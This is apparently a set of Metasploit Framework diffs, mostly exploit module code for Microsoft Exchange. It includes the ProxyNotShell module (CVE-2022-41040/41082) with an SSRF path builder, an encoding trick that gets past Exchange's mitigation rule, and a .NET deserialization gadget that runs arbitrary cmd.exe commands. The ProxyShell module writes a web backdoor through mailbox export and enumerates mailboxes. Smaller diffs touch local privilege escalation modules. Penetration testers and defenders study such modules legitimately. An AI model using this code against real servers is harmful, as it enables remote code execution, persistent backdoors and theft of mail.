'Orange Tsai', # Discovery of ProxyShell SSRF
|
||||
'Spencer McIntyre', # Metasploit module
|
||||
'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q', # Vulnerability analysis
|
||||
'Piotr Bazydło', # Vulnerability analysis
|
||||
'Rich Warren', # EEMS bypass via ProxyNotRelay
|
||||
'Soroush Dalili' # EEMS bypass
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2022-41040' ], # ssrf
|
||||
[ 'CVE', '2022-41082' ], # rce
|
||||
[ 'URL', 'https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend' ],
|
||||
[ 'URL', 'https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/' ],
|
||||
[ 'URL', 'https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9' ],
|
||||
[ 'URL', 'https://rw.md/2022/11/09/ProxyNotRelay.html' ]
|
||||
],
|
||||
'DisclosureDate' => '2022-09-28', # announcement of limited details, patched 2022-11-08
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true
|
||||
},
|
||||
'Platform' => ['windows'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows Dropper',
|
||||
{
|
||||
'Platform' => 'windows',
|
||||
'Arch' => [ARCH_X64, ARCH_X86],
|
||||
'Type' => :windows_dropper
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Command',
|
||||
{
|
||||
'Platform' => 'windows',
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Type' => :windows_command
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
||||
'AKA' => ['ProxyNotShell'],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),
|
||||
OptString.new('DOMAIN', [ false, 'The domain to authenticate to' ])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptEnum.new('EemsBypass', [ true, 'Technique to bypass the EEMS rule', 'IBM037v1', %w[IBM037v1 none]])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
@ssrf_email ||= Faker::Internet.email
|
||||
res = send_http('GET', '/mapi/nspi/')
|
||||
return CheckCode::Unknown if res.nil?
|
||||
return CheckCode::Unknown('Server responded with 401 Unauthorized.') if res.code == 401
|
||||
return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'
|
||||
|
||||
# actually run the powershell cmdlet and see if it works, this will fail if:
|
||||
# * the credentials are incorrect (USERNAME, PASSWORD, DOMAIN)
|
||||
# * the exchange emergency mitigation service M1 rule is in place
|
||||
return CheckCode::Safe unless execute_powershell('Get-Mailbox')
|
||||
|
||||
CheckCode::Vulnerable
|
||||
rescue Msf::Exploit::Failed => e
|
||||
CheckCode::Safe(e.to_s)
|
||||
end
|
||||
|
||||
def ibm037(string)
|
||||
string.encode('IBM037').force_encoding('ASCII-8BIT')
|
||||
end
|
||||
|
||||
def send_http(method, uri, opts = {})
|
||||
opts[:authentication] = {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'preferred_auth' => 'NTLM'
|
||||
}
|
||||
|
||||
if uri =~ /powershell/i && datastore['EemsBypass'] == 'IBM037v1'
|
||||
uri = "/Autodiscover/autodiscover.json?#{ibm037(@ssrf_email + uri + '?')}&#{ibm037('Email')}=#{ibm037('Autodiscover/autodiscover.json?' + @ssrf_email)}"
|
||||
opts[:headers] = {
|
||||
'X-Up-Devcap-Post-Charset' => 'IBM037',
|
||||
# technique needs the "UP" prefix, see: https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System/net/System/Net/HttpListenerRequest.cs#L362
|
||||
'User-Agent' => "UP #{datastore['UserAgent']}"
|
||||
}
|
||||
else
|
||||
uri = "/Autodiscover/autodiscover.json?#{@ssrf_email + uri}?&Email=Autodiscover/autodiscover.json?#{@ssrf_email}"
|
||||
end
|
||||
|
||||
super(method, uri, opts)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# if we're doing pre-exploit checks, make sure the target is Exchange Server 2019 because the XamlGadget does not
|
||||
# work on Exchange Server 2016
|
||||
if datastore['AutoCheck'] && !datastore['ForceExploit'] && (version = exchange_get_version)
|
||||
vprint_status("Detected Exchange version: #{version}")
|
||||
if version < Rex::Version.new('15.2')
|
||||
fail_with(Failure::NoTarget, 'This exploit is only compatible with Exchange Server 2019 (version 15.2)')
|
||||
end
|
||||
end
|
||||
|
||||
@ssrf_email ||= Faker::Internet.email
|
||||
|
||||
case target['Type']
|
||||
when :windows_command
|
||||
vprint_status("Generated payload: #{payload.encoded}")
|
||||
execute_command(payload.encoded)
|
||||
when :windows_dropper
|
||||
execute_cmdstager({ linemax: 7_500 })
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
xaml = Nokogiri::XML(<<-XAML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root
|
||||
<ResourceDictionary
|
||||
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
|
||||
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
|
||||
xmlns:System="clr-namespace:System;assembly=mscorlib"
|
||||
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
|
||||
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
|
||||
<ObjectDataProvider.MethodParameters>
|
||||
<System:String>cmd.exe</System:String>
|
||||
<System:String>/c #{cmd.encode(xml: :text)}</System:String>
|
||||
</ObjectDataProvider.MethodParameters>
|
||||
</ObjectDataProvider>
|
||||
</ResourceDictionary>
|
||||
XAML
|
||||
|
||||
identity = Nokogiri::XML(<<-IDENTITY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root
|
||||
<Obj N="V" RefId="14">
|
||||
<TN RefId="1">
|
||||
<T>System.ServiceProcess.ServiceController</T>
|
||||
<T>System.Object</T>
|
||||
</TN>
|
||||
<ToString>Object</ToString>
|
||||
<Props>
|
||||
<S N="Name">Type</S>
|
||||
<Obj N="TargetTypeForDeserialization">
|
||||
<TN RefId="1">
|
||||
<T>System.Exception</T>
|
||||
<T>System.Object</T>
|
||||
</TN>
|
||||
<MS>
|
||||
<BA N="SerializationData">
|
||||
#{Rex::Text.encode_base64(XamlLoaderGadget.generate.to_binary_s)}
|
||||
</BA>
|
||||
</MS>
|
||||
</Obj>
|
||||
</Props>
|
||||
<S>
|
||||
<![CDATA[#{xaml}]]>
|
||||
</S>
|
||||
</Obj>
|
||||
IDENTITY
|
||||
|
||||
execute_powershell('Get-Mailbox', args: [
|
||||
{ name: '-Identity', value: identity }
|
||||
])
|
||||
end
|
||||
end
|
||||
|
||||
class XamlLoaderGadget < Msf::Util::DotNetDeserialization::Types::SerializedStream
|
||||
include Msf::Util::DotNetDeserialization
|
||||
|
||||
def self.generate
|
||||
from_values([
|
||||
Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
|
||||
Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(
|
||||
class_info: Types::General::ClassInfo.new(
|
||||
obj_id: 1,
|
||||
name: 'System.UnitySerializationHolder',
|
||||
member_names: %w[Data UnityType AssemblyName]
|
||||
),
|
||||
member_type_info: Types::General::MemberTypeInfo.new(
|
||||
binary_type_enums: %i[String Primitive String],
|
||||
additional_infos: [ 8 ]
|
||||
),
|
||||
member_values: [
|
||||
Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
|
||||
obj_id: 2,
|
||||
string: 'System.Windows.Markup.XamlReader'
|
||||
)),
|
||||
4,
|
||||
Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
|
||||
obj_id: 3,
|
||||
string: 'PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'
|
||||
))
|
||||
]
|
||||
),
|
||||
Types::RecordValues::MessageEnd.new
|
||||
])
|
||||
end
|
||||
end
|
||||
@@ -3,8 +3,6 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'winrm'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
@@ -12,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
@@ -122,8 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
|
||||
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
|
||||
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
|
||||
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),
|
||||
OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', Rex::UserAgent.session_agent])
|
||||
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002'])
|
||||
])
|
||||
end
|
||||
|
||||
@@ -259,7 +256,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def probe_powershell_backend(common_access_token)
|
||||
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}", cookie: :none)
|
||||
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}")
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200
|
||||
end
|
||||
|
||||
@@ -274,7 +271,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
probe_powershell_backend(common_access_token)
|
||||
|
||||
print_status("Assigning the 'Mailbox Import Export' role via #{email_address}")
|
||||
unless execute_powershell(common_access_token, 'New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: email_address } ])
|
||||
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
|
||||
{ name: '-Role', value: 'Mailbox Import Export' },
|
||||
{ name: '-User', value: email_address }
|
||||
])
|
||||
unless role_assigned
|
||||
fail_with(Failure::BadConfig, 'The specified email address does not have the \'Mailbox Import Export\' role and can not self-assign it')
|
||||
end
|
||||
|
||||
@@ -297,7 +298,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
common_access_token = build_token(this_sid)
|
||||
next unless execute_powershell(common_access_token, 'New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: this_email_address } ])
|
||||
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
|
||||
{ name: '-Role', value: 'Mailbox Import Export' },
|
||||
{ name: '-User', value: this_email_address }
|
||||
])
|
||||
next unless role_assigned
|
||||
|
||||
@mailbox_user_sid = this_sid
|
||||
@mailbox_user_email = this_email_address
|
||||
@@ -310,39 +315,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def send_http(method, uri, opts = {})
|
||||
ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"
|
||||
unless opts[:cookie] == :none
|
||||
opts[:cookie] = "Email=#{ssrf}"
|
||||
end
|
||||
|
||||
request = {
|
||||
'method' => method,
|
||||
'uri' => "/#{ssrf}#{uri}",
|
||||
'agent' => datastore['UserAgent'],
|
||||
'ctype' => opts[:ctype],
|
||||
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
|
||||
}
|
||||
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
|
||||
request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
|
||||
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
|
||||
|
||||
received = send_request_cgi(request)
|
||||
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
|
||||
|
||||
received
|
||||
opts[:cookie] = "Email=#{ssrf}"
|
||||
super(method, "/#{ssrf}#{uri}", opts)
|
||||
end
|
||||
|
||||
def get_emails
|
||||
envelope = XMLTemplate.render('soap_getemails')
|
||||
res = send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to enumerate email addresses from Active Directory') unless res&.code == 200
|
||||
|
||||
mailbox_table = Rex::Text::Table.new(
|
||||
'Header' => 'Exchange Mailboxes',
|
||||
'Columns' => %w[EmailAddress Name RoutingType MailboxType]
|
||||
)
|
||||
xml_ns = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }
|
||||
res.get_xml_document.xpath('//t:Mailbox', xml_ns).each do |mailbox|
|
||||
mailbox_table << %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, xml_ns)&.text || '' }
|
||||
|
||||
MailboxEnumerator.new(self).each do |row|
|
||||
mailbox_table << row
|
||||
end
|
||||
|
||||
print_status("Enumerated #{mailbox_table.rows.length} email addresses")
|
||||
@@ -388,50 +372,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
Rex::Text.encode_base64(token)
|
||||
end
|
||||
|
||||
def execute_powershell(common_access_token, cmdlet, args: [])
|
||||
winrm = SSRFWinRMConnection.new({
|
||||
endpoint: full_uri('PowerShell/'),
|
||||
transport: :ssrf,
|
||||
ssrf_proc: proc do |method, uri, opts|
|
||||
uri = "#{uri}?X-Rps-CAT=#{common_access_token}"
|
||||
uri << "&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}"
|
||||
opts[:cookie] = :none
|
||||
opts[:data].gsub!(
|
||||
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
|
||||
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
|
||||
)
|
||||
opts[:data].gsub!(
|
||||
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
|
||||
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
|
||||
)
|
||||
send_http(method, uri, opts)
|
||||
end
|
||||
})
|
||||
|
||||
successful = true
|
||||
begin
|
||||
winrm.shell(:powershell) do |shell|
|
||||
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
|
||||
shell.extend(SSRFWinRMConnection::PowerShell)
|
||||
shell.run({ cmdlet: cmdlet, args: args }) do |_stdout, stderr|
|
||||
unless stderr.blank?
|
||||
successful = false
|
||||
vprint_error('PSRP error received:')
|
||||
vprint_line(stderr)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue WinRM::WinRMError => e
|
||||
vprint_error("Exception: #{e.message}")
|
||||
successful = false
|
||||
rescue RuntimeError => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
successful = false
|
||||
end
|
||||
|
||||
successful
|
||||
end
|
||||
|
||||
def exploit
|
||||
@ssrf_email ||= Faker::Internet.email
|
||||
print_status('Attempt to exploit for CVE-2021-34473')
|
||||
@@ -447,12 +387,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
|
||||
end
|
||||
|
||||
normal_path = unc_path.gsub(/^\\+[\w.\-]+\\(.)\$\\/, '\1:\\')
|
||||
normal_path = unc_path.gsub(/^\\+[\w.-]+\\(.)\$\\/, '\1:\\')
|
||||
print_status("Writing to: #{normal_path}")
|
||||
register_file_for_cleanup(normal_path)
|
||||
|
||||
@export_name = rand_text_alphanumeric(8..12)
|
||||
successful = execute_powershell(@common_access_token, 'New-MailboxExportRequest', args: [
|
||||
successful = execute_powershell('New-MailboxExportRequest', cat: @common_access_token, args: [
|
||||
{ name: '-Name', value: @export_name },
|
||||
{ name: '-Mailbox', value: @mailbox_user_email },
|
||||
{ name: '-IncludeFolders', value: '#Drafts#' },
|
||||
@@ -506,13 +446,13 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return unless @common_access_token && @export_name
|
||||
|
||||
print_status('Removing the mailbox export request')
|
||||
execute_powershell(@common_access_token, 'Remove-MailboxExportRequest', args: [
|
||||
execute_powershell('Remove-MailboxExportRequest', cat: @common_access_token, args: [
|
||||
{ name: '-Identity', value: "#{@mailbox_user_email}\\#{@export_name}" },
|
||||
{ name: '-Confirm', value: false }
|
||||
])
|
||||
|
||||
print_status('Removing the draft email')
|
||||
execute_powershell(@common_access_token, 'Search-Mailbox', args: [
|
||||
execute_powershell('Search-Mailbox', cat: @common_access_token, args: [
|
||||
{ name: '-Identity', value: @mailbox_user_email },
|
||||
{ name: '-SearchQuery', value: "Subject:\"#{@draft_subject}\"" },
|
||||
{ name: '-Force' },
|
||||
@@ -536,6 +476,42 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
end
|
||||
|
||||
# Use https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/resolvenames to resolve mailbox
|
||||
# information. The endpoint only returns 100 at a time though so if the target has more than that many email addresses
|
||||
# multiple requests will need to be made. Since the endpoint doesn't support pagination, we refine the query by using
|
||||
# progressively larger search prefixes until there are less than 101 results and thus will fit into a single response.
|
||||
class MailboxEnumerator
|
||||
def initialize(mod)
|
||||
@mod = mod
|
||||
end
|
||||
|
||||
# the characters that Exchange Server 2019 allows in an alias (no unicode)
|
||||
ALIAS_CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'*+-/=?^_`{|}~'.freeze
|
||||
XML_NS = {
|
||||
'm' => 'http://schemas.microsoft.com/exchange/services/2006/messages',
|
||||
't' => 'http://schemas.microsoft.com/exchange/services/2006/types'
|
||||
}.freeze
|
||||
|
||||
include Enumerable
|
||||
XMLTemplate = Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell::XMLTemplate
|
||||
|
||||
def each(name: 'SMTP:', &block)
|
||||
envelope = XMLTemplate.render('soap_getemails', name: name)
|
||||
res = @mod.send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
|
||||
return unless res&.code == 200
|
||||
|
||||
if res.get_xml_document.xpath('//m:ResolutionSet/@IncludesLastItemInRange', XML_NS).first&.text&.downcase == 'false'
|
||||
ALIAS_CHARSET.each_char do |char|
|
||||
each(name: name + char, &block)
|
||||
end
|
||||
else
|
||||
res.get_xml_document.xpath('//t:Mailbox', XML_NS).each do |mailbox|
|
||||
yield %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, XML_NS)&.text || '' }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class PstEncoding
|
||||
ENCODE_TABLE = [
|
||||
71, 241, 180, 230, 11, 106, 114, 72,
|
||||
@@ -580,94 +556,3 @@ class PstEncoding
|
||||
encoded
|
||||
end
|
||||
end
|
||||
|
||||
class XMLTemplate
|
||||
def self.render(template_name, context = nil)
|
||||
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', "#{template_name}.xml.erb")
|
||||
template = ::File.binread(file_path)
|
||||
case context
|
||||
when Hash
|
||||
b = binding
|
||||
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
|
||||
b.eval(locals.join)
|
||||
when NilClass
|
||||
b = binding
|
||||
else
|
||||
raise ArgumentError
|
||||
end
|
||||
b.eval(Erubi::Engine.new(template).src)
|
||||
end
|
||||
end
|
||||
|
||||
class SSRFWinRMConnection < WinRM::Connection
|
||||
class MessageFactory < WinRM::PSRP::MessageFactory
|
||||
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
|
||||
WinRM::PSRP::Message.new(
|
||||
runspace_pool_id,
|
||||
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
|
||||
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
|
||||
pipeline_id
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF
|
||||
# vulnerability
|
||||
class TransportFactory < WinRM::HTTP::TransportFactory
|
||||
class HttpSsrf < WinRM::HTTP::HttpTransport
|
||||
# rubocop:disable Lint/
|
||||
def initialize(endpoint, options)
|
||||
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
|
||||
@ssrf_proc = options[:ssrf_proc]
|
||||
end
|
||||
|
||||
def send_request(message)
|
||||
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
|
||||
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
|
||||
end
|
||||
end
|
||||
|
||||
def create_transport(connection_opts)
|
||||
raise NotImplementedError unless connection_opts[:transport] == :ssrf
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def init_ssrf_transport(opts)
|
||||
HttpSsrf.new(opts[:endpoint], opts)
|
||||
end
|
||||
end
|
||||
|
||||
module PowerShell
|
||||
def send_command(command, _arguments)
|
||||
command_id = SecureRandom.uuid.to_s.upcase
|
||||
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
|
||||
fragmenter.fragment(message) do |fragment|
|
||||
command_args = [connection_opts, shell_id, command_id, fragment]
|
||||
if fragment.start_fragment
|
||||
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
|
||||
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
|
||||
else
|
||||
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
|
||||
end
|
||||
end
|
||||
|
||||
command_id
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(connection_opts)
|
||||
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax
|
||||
connection_opts.merge!({ user: :ssrf, password: :ssrf })
|
||||
super(connection_opts)
|
||||
end
|
||||
|
||||
def transport
|
||||
@transport ||= begin
|
||||
transport_factory = TransportFactory.new
|
||||
transport_factory.create_transport(@connection_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -241,7 +241,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
buf << [size_buffer].pack("V") # ecx
|
||||
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
|
||||
|
||||
# Copy the shellcode from the the registry to the
|
||||
# Copy the shellcode from the registry to the
|
||||
# memory allocated with executable permissions and
|
||||
# ret into there
|
||||
buf << [@addresses['RegGetValueA']].pack("V")
|
||||
|
||||
@@ -101,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
run_injection(pid, dll_path, file_paths)
|
||||
|
||||
# Windows 7 this is cleared up by DLL but on Windows
|
||||
# 8.1 it fails to delete the the file.
|
||||
# 8.1 it fails to delete the file.
|
||||
register_file_for_cleanup(file_paths[:szElevDllFull])
|
||||
end
|
||||
|
||||
|
||||
@@ -16,49 +16,49 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Microsoft Windows Uninitialized Variable Local Privilege Elevation',
|
||||
'Description' => %q{
|
||||
This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability
|
||||
within win32k which occurs due to an uninitalized variable, which allows user mode attackers
|
||||
to write a limited amount of controlled data to an attacker controlled address
|
||||
in kernel memory. By utilizing this vulnerability to execute controlled writes
|
||||
to kernel memory, an attacker can gain arbitrary code execution
|
||||
as the SYSTEM user.
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Microsoft Windows Uninitialized Variable Local Privilege Elevation',
|
||||
'Description' => %q{
|
||||
This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability
|
||||
within win32k which occurs due to an uninitalized variable, which allows user mode attackers
|
||||
to write a limited amount of controlled data to an attacker controlled address
|
||||
in kernel memory. By utilizing this vulnerability to execute controlled writes
|
||||
to kernel memory, an attacker can gain arbitrary code execution
|
||||
as the SYSTEM user.
|
||||
|
||||
This module has been tested against Windows 7 x64 SP1. Offsets within the
|
||||
exploit code may need to be adjusted to work with other versions of Windows.
|
||||
The exploit can only be triggered once against the target and can cause the
|
||||
target machine to reboot when the session is terminated.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'piotrflorczyk', # poc
|
||||
'unamer', # exploit
|
||||
'timwr', # msf module
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [
|
||||
['Windows 7 x64', { 'Arch' => ARCH_X64 }]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_OS_RESTARTS ],
|
||||
'Reliability' => [ UNRELIABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ]
|
||||
},
|
||||
'References' => [
|
||||
['CVE', '2019-1458'],
|
||||
['URL', 'https://github.com/unamer/CVE-2019-1458'],
|
||||
['URL', 'https://github.com/piotrflorczyk/cve-2019-1458_POC'],
|
||||
['URL', 'https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/'],
|
||||
['URL', 'https://googleprojectzero.blogspot.com/p/rca-cve-2019-1458.html']
|
||||
],
|
||||
'DisclosureDate' => '2019-12-10',
|
||||
'DefaultTarget' => 0,
|
||||
'AKA' => [ 'WizardOpium' ]
|
||||
)
|
||||
This module has been tested against Windows 7 x64 SP1. Offsets within the
|
||||
exploit code may need to be adjusted to work with other versions of Windows.
|
||||
The exploit can only be triggered once against the target and can cause the
|
||||
target machine to reboot when the session is terminated.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'piotrflorczyk', # poc
|
||||
'unamer', # exploit
|
||||
'timwr', # msf module
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Targets' => [
|
||||
['Windows 7 x64', { 'Arch' => ARCH_X64 }]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_OS_RESTARTS ],
|
||||
'Reliability' => [ UNRELIABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ]
|
||||
},
|
||||
'References' => [
|
||||
['CVE', '2019-1458'],
|
||||
['URL', 'https://github.com/unamer/CVE-2019-1458'],
|
||||
['URL', 'https://github.com/piotrflorczyk/cve-2019-1458_POC'],
|
||||
['URL', 'https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/'],
|
||||
['URL', 'https://googleprojectzero.blogspot.com/p/rca-cve-2019-1458.html']
|
||||
],
|
||||
'DisclosureDate' => '2019-12-10',
|
||||
'DefaultTarget' => 0,
|
||||
'AKA' => [ 'WizardOpium' ]
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
@@ -39,6 +39,14 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
['CVE', '2020-1313'],
|
||||
['URL', 'https://github.com/irsl/CVE-2020-1313']
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [
|
||||
IOC_IN_LOGS,
|
||||
ARTIFACTS_ON_DISK
|
||||
]
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
|
||||
@@ -49,6 +49,14 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
['URL', 'https://github.com/sailay1996/cve-2020-1337-poc'],
|
||||
['URL', 'https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/']
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => [
|
||||
IOC_IN_LOGS,
|
||||
ARTIFACTS_ON_DISK
|
||||
]
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
|
||||
@@ -67,16 +67,23 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
]
|
||||
],
|
||||
'References' => [
|
||||
%w(CVE 2011-2005),
|
||||
%w(OSVDB 76232),
|
||||
%w(EDB 18176),
|
||||
%w(MSB MS11-080),
|
||||
